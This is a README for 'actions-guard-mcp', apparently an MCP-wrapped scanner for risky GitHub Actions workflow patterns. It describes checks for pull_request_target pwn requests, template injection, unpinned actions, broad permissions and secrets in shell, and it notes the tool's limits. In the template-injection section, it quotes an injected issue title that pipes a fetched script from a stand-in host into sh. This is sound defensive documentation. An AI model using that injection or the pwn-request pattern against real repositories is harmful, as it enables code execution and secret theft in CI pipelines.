actions-guard-mcp
A GitHub Actions workflow security scanner, exposed as MCP tools — so anagent can catch the "pwn request" and supply-chain patterns that havecaused real incidents (CoreShop, tj-actions, and others) before aworkflow file is committed, not after.
Why this exists
Static analysis for GitHub Actions workflows is a mature, well-understoodfield — zizmor is a respected,actively maintained standalone scanner for exactly this. What doesn'texist yet is a serious MCP wrapper around that class of analysis. The oneproject found in a broad search (github-security-mcp) spreads 45 checksacross org settings, secrets, supply chain, and Actions in one generictool — 12 stars, no commits in 5 months. Nothing focuses on workflowsecurity specifically, deeply, as something an agent can call while it'sactively writing or reviewing a workflow file.
What it catches
- Dangerous triggers (AGMCP-101) —
pull_request_targetorworkflow_runcombined with a checkout step whoseref:orrepository:points at the triggering PR/run's own fork. This is theexact shape of the CoreShop incident: a workflow that runs with thebase repo's token and secrets, but checks out and executes code fromthe fork that triggered it. - Template injection (AGMCP-102) —
${{ ... }}expressions builtfrom attacker-controlled context (github.event.issue.title,github.event.pull_request.title,github.event.comment.body,github.head_ref, atoJSON(github.event)whole-payload dump, andsimilar) interpolated directly into arun:step, rather than passedthroughenv:. The classic shape isrun: echo "${{ github.event.issue.title }}"— an issue title of"; curl evil.sh | sh #is not a string at that point, it's shell. - Unpinned actions and reusable workflows (AGMCP-103) —
uses: owner/repo@v4(a tag or branch, both mutable) instead of apinned commit SHA; a job-level reusable-workflow call(jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main) pinned thesame mutable way; or adocker://image:tagreference not pinned to a@sha256:digest. This is the exact supply-chain surface thetj-actions incident used: a compromised tag pointed everyone using itat malicious code with no version bump. - Excessive permissions (AGMCP-104) —
permissions: write-all, orexplicit broadwritescopes (contents,actions,packages, ...),set at either the workflow level or a job level, on a workflow thatalso has a risky trigger, where a narrower scope would do. - Secrets interpolated into shell (AGMCP-105) —
${{ secrets.X }}used directly in arun:step instead of passed throughenv:, whichis unnecessary exposure of the raw secret value into the shell commandline / process list rather than an environment variable.
All marker matching (AGMCP-101/102/105) normalizes GitHub Actions'bracket-notation property access (github.event['issue']['title']) tothe equivalent dot form and matches case-insensitively, since theexpression language treats both as identical.
Known limitations
This is pattern matching over the literal text of ${{ }} expressionsand with:/permissions: blocks — not a full GitHub Actions expressionparser or a data-flow analysis. A clean scan means "no known riskypattern found in the text as written," not a guarantee the workflow issafe. Concretely:
- No cross-step /
env:data-flow tracking. A dangerous valuerouted through an intermediateenv:variable or a step output beforereaching a checkoutref:or arun:command is invisible toAGMCP-101/102/105 — only the literal expression in the field beingchecked is inspected. - The attacker-controlled-context marker list (AGMCP-102) is a finite,hand-maintained set, not a real enumeration of every context pathGitHub Actions exposes. A new or uncommon field can exist that isn'tlisted yet.
If a clean result matters for a security decision, don't treat it as thelast word — zizmor does deeper,more general static analysis of the same file class and is worth runningalongside this, not instead of it.
Setup
pip install actions-guard-mcp
actions-guard-mcp
No configuration needed — every tool takes a workflow file path or its raw YAML content directly.
Status
Early build.
License
MIT